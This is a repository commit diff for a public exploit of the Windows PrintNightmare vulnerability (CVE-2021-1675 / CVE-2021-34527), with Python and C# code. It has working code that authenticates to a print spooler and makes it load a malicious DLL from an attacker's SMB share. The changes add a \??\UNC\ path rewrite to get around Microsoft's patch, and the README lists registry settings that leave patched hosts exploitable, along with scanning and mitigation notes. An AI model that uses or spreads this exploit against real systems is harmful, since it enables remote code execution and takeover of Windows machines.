Compare commits

...

2 Commits

Author SHA1 Message Date
cube0x0 d2e96c1dc7
Update README.md 3 years ago
cube0x0 640d1984cd updated with \??\UNC\ path to avoid patch restriction 3 years ago
  1. 52
      CVE-2021-1675.py
  2. 17
      README.md
  3. 51
      SharpPrintNightmare/CVE-2021-1675.py
  4. BIN
      SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo
  5. 4
      SharpPrintNightmare/SharpPrintNightmare/Program.cs

@ -20,15 +20,25 @@ class DRIVER_INFO_2_BLOB(Structure):
def __init__(self, data = None): def __init__(self, data = None):
Structure.__init__(self, data = data) Structure.__init__(self, data = data)
def fromString(self,data): def fromString(self, data, offset=0):
Structure.fromString(self, data) Structure.fromString(self, data)
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le') self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le')
self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le') self['DataFileArray'] = self.rawData[self['DataFileOffset']+offset:self['DriverPathOffset']+offset].decode('utf-16-le')
self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le') self['DriverPathArray'] = self.rawData[self['DriverPathOffset']+offset:self['EnvironmentOffset']+offset].decode('utf-16-le')
self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le') self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']+offset:self['NameOffset']+offset].decode('utf-16-le')
self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le') #self['NameArray'] = self.rawData[self['NameOffset']+offset:len(self.rawData)].decode('utf-16-le')
class DRIVER_INFO_2_ARRAY(Structure):
def __init__(self, data = None, pcReturned = None):
Structure.__init__(self, data = data)
self['drivers'] = list()
remaining = data
if data is not None:
for i in range(pcReturned):
attr = DRIVER_INFO_2_BLOB(remaining)
self['drivers'].append(attr)
remaining = remaining[len(attr):]
def connect(username, password, domain, lmhash, nthash, address, port): def connect(username, password, domain, lmhash, nthash, address, port):
binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address) binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
@ -53,17 +63,16 @@ def connect(username, password, domain, lmhash, nthash, address, port):
return dce return dce
def getDrivers(dce, handle=NULL): def getDriver(dce, handle=NULL):
#get drivers #get drivers
resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2) resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
data = b''.join(resp['pDrivers']) blobs = DRIVER_INFO_2_ARRAY(b''.join(resp['pDrivers']), resp['pcReturned'])
for i in blobs['drivers']:
#parse drivers if "filerepository" in i['DriverPathArray'].lower():
blob = DRIVER_INFO_2_BLOB() return i
blob.fromString(data)
#blob.dump()
return blob print("[-] Failed to find driver")
sys.exit(1)
def main(dce, pDriverPath, share, handle=NULL): def main(dce, pDriverPath, share, handle=NULL):
@ -99,7 +108,7 @@ def main(dce, pDriverPath, share, handle=NULL):
if __name__ == '__main__': if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" parser = argparse.ArgumentParser(add_help = True, description = "MS-RPRN PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example; Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
@ -155,7 +164,7 @@ Example;
#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
if not options.pDriverPath: if not options.pDriverPath:
try: try:
blob = getDrivers(dce, handle) blob = getDriver(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
if not "FileRepository" in pDriverPath: if not "FileRepository" in pDriverPath:
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath)) print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
@ -168,6 +177,9 @@ Example;
else: else:
pDriverPath = options.pDriverPath pDriverPath = options.pDriverPath
if "\\\\" in options.share:
options.share = options.share.replace("\\\\","\\??\\UNC\\")
print("[+] pDriverPath Found {0}".format(pDriverPath)) print("[+] pDriverPath Found {0}".format(pDriverPath))
print("[*] Executing {0}".format(options.share)) print("[*] Executing {0}".format(options.share))
@ -175,6 +187,6 @@ Example;
print("[*] Try 1...") print("[*] Try 1...")
main(dce, pDriverPath, options.share) main(dce, pDriverPath, options.share)
print("[*] Try 2...") print("[*] Try 2...")
main(dce, pDriverPath,options.share) main(dce, pDriverPath, options.share)
print("[*] Try 3...") print("[*] Try 3...")
main(dce, pDriverPath,options.share) main(dce, pDriverPath, options.share)

@ -8,6 +8,16 @@ Execute malicious DLL's remote or locally
![](Images/poc2.png) ![](Images/poc2.png)
### Patch update
Microsoft has released a patch to mitigate against these attacks but if these values below are present on a machine, then the machine will still be vulnerable
```
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1
```
### Installation ### Installation
Before running the exploit you need to install my version of Impacket and after that you're gucci Before running the exploit you need to install my version of Impacket and after that you're gucci
@ -89,8 +99,9 @@ REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_
We can use `rpcdump.py` from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable We can use `rpcdump.py` from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable
```bash ```bash
rpcdump.py @192.168.1.10 | grep MS-RPRN rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol Protocol: [MS-RPRN]: Print System Remote Protocol
``` ```
@ -103,9 +114,5 @@ Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
``` ```
Or Uninstall Print-Services
```powershell
Uninstall-WindowsFeature Print-Services
```

@ -20,14 +20,25 @@ class DRIVER_INFO_2_BLOB(Structure):
def __init__(self, data = None): def __init__(self, data = None):
Structure.__init__(self, data = data) Structure.__init__(self, data = data)
def fromString(self,data): def fromString(self, data, offset=0):
Structure.fromString(self, data) Structure.fromString(self, data)
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le') self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le')
self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le') self['DataFileArray'] = self.rawData[self['DataFileOffset']+offset:self['DriverPathOffset']+offset].decode('utf-16-le')
self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le') self['DriverPathArray'] = self.rawData[self['DriverPathOffset']+offset:self['EnvironmentOffset']+offset].decode('utf-16-le')
self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le') self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']+offset:self['NameOffset']+offset].decode('utf-16-le')
self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le') #self['NameArray'] = self.rawData[self['NameOffset']+offset:len(self.rawData)].decode('utf-16-le')
class DRIVER_INFO_2_ARRAY(Structure):
def __init__(self, data = None, pcReturned = None):
Structure.__init__(self, data = data)
self['drivers'] = list()
remaining = data
if data is not None:
for i in range(pcReturned):
attr = DRIVER_INFO_2_BLOB(remaining)
self['drivers'].append(attr)
remaining = remaining[len(attr):]
def connect(username, password, domain, lmhash, nthash, address, port): def connect(username, password, domain, lmhash, nthash, address, port):
stringbinding = epm.hept_map(address, par.MSRPC_UUID_PAR, protocol='ncacn_ip_tcp') stringbinding = epm.hept_map(address, par.MSRPC_UUID_PAR, protocol='ncacn_ip_tcp')
@ -41,17 +52,16 @@ def connect(username, password, domain, lmhash, nthash, address, port):
dce.bind(par.MSRPC_UUID_PAR, transfer_syntax = ('8A885D04-1CEB-11C9-9FE8-08002B104860', '2.0')) dce.bind(par.MSRPC_UUID_PAR, transfer_syntax = ('8A885D04-1CEB-11C9-9FE8-08002B104860', '2.0'))
return dce return dce
def getDrivers(dce, handle=NULL): def getDriver(dce, handle=NULL):
#get drivers #get drivers
resp = par.hRpcAsyncEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2) resp = par.hRpcAsyncEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
data = b''.join(resp['pDrivers']) blobs = DRIVER_INFO_2_ARRAY(b''.join(resp['pDrivers']), resp['pcReturned'])
for i in blobs['drivers']:
#parse drivers if "filerepository" in i['DriverPathArray'].lower():
blob = DRIVER_INFO_2_BLOB() return i
blob.fromString(data)
#blob.dump()
return blob print("[-] Failed to find driver")
sys.exit(1)
def main(dce, pDriverPath, share, handle=NULL): def main(dce, pDriverPath, share, handle=NULL):
@ -87,7 +97,7 @@ def main(dce, pDriverPath, share, handle=NULL):
if __name__ == '__main__': if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = True, description = "PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" parser = argparse.ArgumentParser(add_help = True, description = "MS-PAR PrintNightmare CVE-2021-1675 / CVE-2021-34527 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example; Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
@ -143,7 +153,7 @@ Example;
#find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
if not options.pDriverPath: if not options.pDriverPath:
try: try:
blob = getDrivers(dce, handle) blob = getDriver(dce, handle)
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
if not "FileRepository" in pDriverPath: if not "FileRepository" in pDriverPath:
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath)) print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath))
@ -156,6 +166,9 @@ Example;
else: else:
pDriverPath = options.pDriverPath pDriverPath = options.pDriverPath
if "\\\\" in options.share:
options.share = options.share.replace("\\\\","\\??\\UNC\\")
print("[+] pDriverPath Found {0}".format(pDriverPath)) print("[+] pDriverPath Found {0}".format(pDriverPath))
print("[*] Executing {0}".format(options.share)) print("[*] Executing {0}".format(options.share))
@ -163,6 +176,6 @@ Example;
print("[*] Try 1...") print("[*] Try 1...")
main(dce, pDriverPath, options.share) main(dce, pDriverPath, options.share)
print("[*] Try 2...") print("[*] Try 2...")
main(dce, pDriverPath,options.share) main(dce, pDriverPath, options.share)
print("[*] Try 3...") print("[*] Try 3...")
main(dce, pDriverPath,options.share) main(dce, pDriverPath, options.share)

@ -68,6 +68,10 @@ namespace SharpPrintNightmare
Environment.Exit(0); Environment.Exit(0);
} }
dllpath = args[0]; dllpath = args[0];
if (dllpath.Contains("\\\\"))
{
dllpath = dllpath.Replace("\\\\", "\\??\\UNC\\");
}
if (args.Length > 2) if (args.Length > 2)
{ {

Loading…
Cancel
Save